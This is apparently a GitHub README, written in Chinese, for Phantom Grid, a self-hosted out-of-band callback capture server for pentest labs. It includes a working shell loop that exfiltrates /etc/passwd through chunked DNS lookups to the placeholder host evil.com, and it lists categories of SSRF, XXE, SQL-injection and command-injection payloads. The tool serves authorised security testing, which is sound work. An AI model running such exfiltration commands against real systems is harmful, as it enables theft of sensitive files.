evkir/phantom-grid
GitHub: evkir/phantom-grid
免费开源的 Burp Collaborator 替代方案,支持 HTTP/HTTPS/DNS 带外交互捕获与 DNS 数据外泄自动重组。
Stars: 0 | Forks: 0
⬡ Phantom Grid
免费、开源的 Burp Collaborator 替代品,适用于渗透测试靶场
带外(OOB)交互捕获 · HTTP/HTTPS · DNS · SQLite · 数据外泄重组
## 这是什么?
**Phantom Grid** 是一个自托管的 OOB(带外)交互捕获工具 —— 是解决渗透测试靶场(PortSwigger Web Security Academy、HackTheBox、TryHackMe 等)的免费 Burp Collaborator 替代方案。
### v2.0 功能
| 功能 | 描述 |
|---------|-------------|
| **HTTP + HTTPS 捕获** | 双栈支持,自动生成自签名 TLS 证书 |
| **DNS 捕获** | 内置 DNS 服务器,监听 53 端口 |
| **DNS 外泄重组** | 从多部分 DNS 外泄中自动重组数据块 |
| **SQLite 持久化** | 所有数据在服务器重启后依然保留(WAL 模式提升性能) |
| **40+ Payload 模板** | SSRF、XXE、SQLi OOB、CMDi、SSTI、DNS 外泄 —— 可直接复制使用 |
| **战术仪表盘** | 带有实时监控的指挥中心 UI |
| **Docker 就绪** | 一键部署 |
| **REST API** | 完整的 token/interaction/exfil 管理 API |
## 快速开始
### 选项 1: Python
```
git clone https://github.com/YOUR_USERNAME/phantom-grid.git
cd phantom-grid
pip install -r server/requirements.txt
# 仅 HTTP
python server/server.py
# HTTP + HTTPS (自动生成自签名证书)
python server/server.py --https
# Full stack (DNS 端口 53 需要 sudo)
sudo python server/server.py --https --dns
```
### 选项 2: Docker
```
git clone https://github.com/YOUR_USERNAME/phantom-grid.git
cd phantom-grid
docker compose up -d
```
### 选项 3: ngrok(适用于没有 VPS 的靶场)
```
python server/server.py --https &
ngrok http 9090
# 在 payload 中使用 ngrok HTTPS URL
```
## 架构
```
┌──────────────────────────────────────────────────────────────┐
│ PHANTOM GRID v2.0 │
│ │
│ ┌─────────────┐ ┌─────────────────────────────────┐ │
│ │ Dashboard │─API─▶│ Flask Server │ │
│ │ (React) │ │ │ │
│ └─────────────┘ │ :9090 HTTP capture + API │ │
│ │ :9443 HTTPS capture + API │ │
│ ┌─────────────┐ │ :53 DNS capture │ │
│ │ Target App │─────▶│ │ │
│ └─────────────┘ └──────────┬──────────────────────┘ │
│ │ │
│ ┌──────────▼──────────┐ │
│ │ SQLite Database │ │
│ │ phantom_grid.db │ │
│ │ │ │
│ │ tokens │ │
│ │ interactions │ │
│ │ dns_exfil_sessions │ │
│ │ dns_exfil_chunks │ │
│ └─────────────────────┘ │
│ │
└──────────────────────────────────────────────────────────────┘
```
## HTTPS 支持
现代应用通常会阻止混合内容请求(来自 `https://` 页面的 `http://` 请求)。Phantom Grid v2.0 在运行 HTTP 的同时支持运行 HTTPS。
### 自动生成自签名证书
```
python server/server.py --https
# 自动生成 certs/server.pem + certs/server.key
# 可通过 https://0.0.0.0:9443 访问 HTTPS
```
### 自定义证书(Let's Encrypt 等)
```
python server/server.py --https \
--cert /etc/letsencrypt/live/yourdomain/fullchain.pem \
--key /etc/letsencrypt/live/yourdomain/privkey.pem
```
### 使用 ngrok(即时公共 HTTPS)
```
python server/server.py &
ngrok http 9090
# ngrok 自动提供受信任的 HTTPS URL
```
## DNS 外泄重组
Phantom Grid 自动对分块的 DNS 外泄数据进行重组。这对于提取必须拆分到多个 DNS 查询(标签限制为 63 字节)中的大型 payload 至关重要。
### 支持的格式
| 格式 | 示例 | 用例 |
|--------|---------|----------|
| **Simple** | `data.TOKEN.domain` | 单值外泄 |
| **Indexed** | `0.chunk1.TOKEN.domain` | 自动会话,有序数据块 |
| **Tagged** | `sess1.0.chunk1.TOKEN.domain` | 具有排序功能的命名会话 |
| **End signal** | `end.sess1.TOKEN.domain` | 标记会话完成 |
### 示例:通过 DNS 外泄 `/etc/passwd`
在目标机上:
```
# 将文件分割为 50 字节的 base64 块并通过 DNS 发送
data=$(base64 /etc/passwd | tr -d '\n')
token="a1b2c3d4e5f6"
domain="evil.com"
i=0
while [ -n "$data" ]; do
chunk=$(echo "$data" | cut -c1-50)
data=$(echo "$data" | cut -c51-)
nslookup "exfil.$i.$chunk.$token.$domain" >/dev/null 2>&1
i=$((i+1))
done
nslookup "end.exfil.$token.$domain" >/dev/null 2>&1
```
查看重组后的数据:
```
curl http://localhost:9090/api/tokens/a1b2c3d4e5f6/exfil
```
响应:
```
[{
"session_tag": "exfil",
"completed": 1,
"chunk_count": 12,
"reassembled": "cm9vdDp4OjA6MDpyb290Oi9yb290Oi9iaW4vYm..."
}]
```
## SQLite 持久化
所有数据使用 SQLite WAL 模式存储在 `phantom_grid.db` 中,以提供高并发的读写性能。
```
phantom_grid.db
├── tokens — Token metadata
├── interactions — All HTTP/DNS captures
├── dns_exfil_sessions — Grouped exfil sessions
└── dns_exfil_chunks — Individual exfil data chunks
```
数据在服务器重启后依然存在。可通过复制 `phantom_grid.db` 进行备份。
## API 参考
### Token
| Method | Endpoint | 描述 |
|--------|----------|-------------|
| `GET` | `/api/tokens` | 列出所有 token 及其统计信息 |
| `POST` | `/api/tokens` | 创建 token `{"label": "...", "notes": "..."}` |
| `PATCH` | `/api/tokens/
` | 更新 token 标签/备注 |
| `DELETE` | `/api/tokens/` | 删除 token 及所有关联数据 (CASCADE) |
### Interaction
| Method | Endpoint | 描述 |
|--------|----------|-------------|
| `GET` | `/api/tokens//interactions?limit=&offset=` | 获取 token 的交互记录 |
| `DELETE` | `/api/tokens//interactions` | 清空交互记录 |
| `GET` | `/api/log?limit=` | 全局日志(所有 token) |
| `GET` | `/api/poll?since=` | 轮询新交互 |
### DNS 外泄
| Method | Endpoint | 描述 |
|--------|----------|-------------|
| `GET` | `/api/tokens//exfil` | 获取 exfil 会话及重组后的数据 |
### System
| Method | Endpoint | 描述 |
|--------|----------|-------------|
| `GET` | `/api/stats` | 全局统计(计数、数据库大小) |
| `GET` | `/health` | 健康检查 |
### 捕获 Endpoints
| 协议 | Endpoint |
|----------|----------|
| HTTP | `http://server:9090/c/` |
| HTTPS | `https://server:9443/c/` |
| DNS | `.yourdomain.com` |
| DNS 外泄 | `..yourdomain.com` |
## CLI 选项
```
python server.py [OPTIONS]
--port N HTTP port (default: 9090)
--https Enable HTTPS server
--https-port N HTTPS port (default: 9443)
--cert PATH Custom TLS certificate (PEM)
--key PATH Custom TLS key file
--dns Enable DNS capture server
--dns-port N DNS port (default: 53)
--dns-ip IP IP returned in DNS responses (default: 127.0.0.1)
--db PATH SQLite database path (default: phantom_grid.db)
```
## 替代方案比较
| 功能 | Burp Collaborator | Interactsh | Phantom Grid |
|---------|-------------------|------------|--------------|
| 价格 | Burp Pro ($$$) | 免费 | 免费 |
| HTTP/HTTPS | ✅ | ✅ | ✅ |
| DNS 捕获 | ✅ | ✅ | ✅ |
| DNS 外泄重组 | ❌ | ❌ | ✅ |
| SMTP 捕获 | ✅ | ✅ | ❌ (路线图) |
| 自托管 | ❌ | ✅ | ✅ |
| 自定义域名 | ❌ | ✅ | ✅ |
| 持久化存储 | N/A | ❌ | ✅ (SQLite) |
| 仪表盘 UI | Burp Suite | CLI | Web UI |
| Payload 模板 | ❌ | ❌ | ✅ (40+) |
## Payload 分类
仪表盘包含 40+ 个可直接复制的 payload:
- **HTTP Callback** — GET, cURL, wget, PowerShell, Python
- **SSRF** — 直接, URL 编码, 双重编码, gopher, IMDS 重定向
- **XXE** — 外部实体, 参数实体, OOB DTD 外泄
- **SQL Injection OOB** — Oracle UTL_HTTP, MSSQL xp_dirtree/xp_cmdshell, MySQL LOAD_FILE, PostgreSQL COPY
- **Command Injection** — 反引号, $(), 管道符, 分号, 换行符, DNS 外泄
- **DNS Lookup** — 子域名, nslookup, dig, 数据外泄
- **SSTI** — Jinja2, ERB, Freemarker, Twig
- **Email/SMTP** — 头注入, IMAP 回调
## 免责声明
**仅适用于经授权的渗透测试、安全研究和教育靶场环境。** 在测试您不拥有的系统之前,请务必获得适当的授权。作者不对滥用行为负责。
## 贡献
欢迎提交 PR!路线图:
- [ ] SMTP/email 回调捕获
- [ ] Let's Encrypt 自动证书 (ACME)
- [ ] WebSocket 实时推送(替代轮询)
- [ ] FTP 回调捕获
- [ ] Webhook 通知(Slack、Discord、Telegram)
- [ ] 多用户认证
- [ ] 导出至 CSV/JSON
- [ ] LDAP 回调捕获
## 许可证
MIT — 查看 [LICENSE](LICENSE)标签:Burp Collaborator, CISA项目, DNS捕获, DNS数据外泄重组, Docker, HackTheBox, HTTPS捕获, HTTP交互捕获, IP 地址批量处理, OOB, OPA, Out-of-Band, Payload生成, PortSwigger, Python, REST API, SQLi, SQLite, SSRF, SSTI, TryHackMe, Web安全, XXE, 命令注入, 安全仪表盘, 安全防御评估, 数据窃取, 无后门, 网络安全, 网络测绘, 自定义脚本, 自托管, 蓝队分析, 请求拦截, 逆向工具, 隐私保护, 靶场, 黑盒测试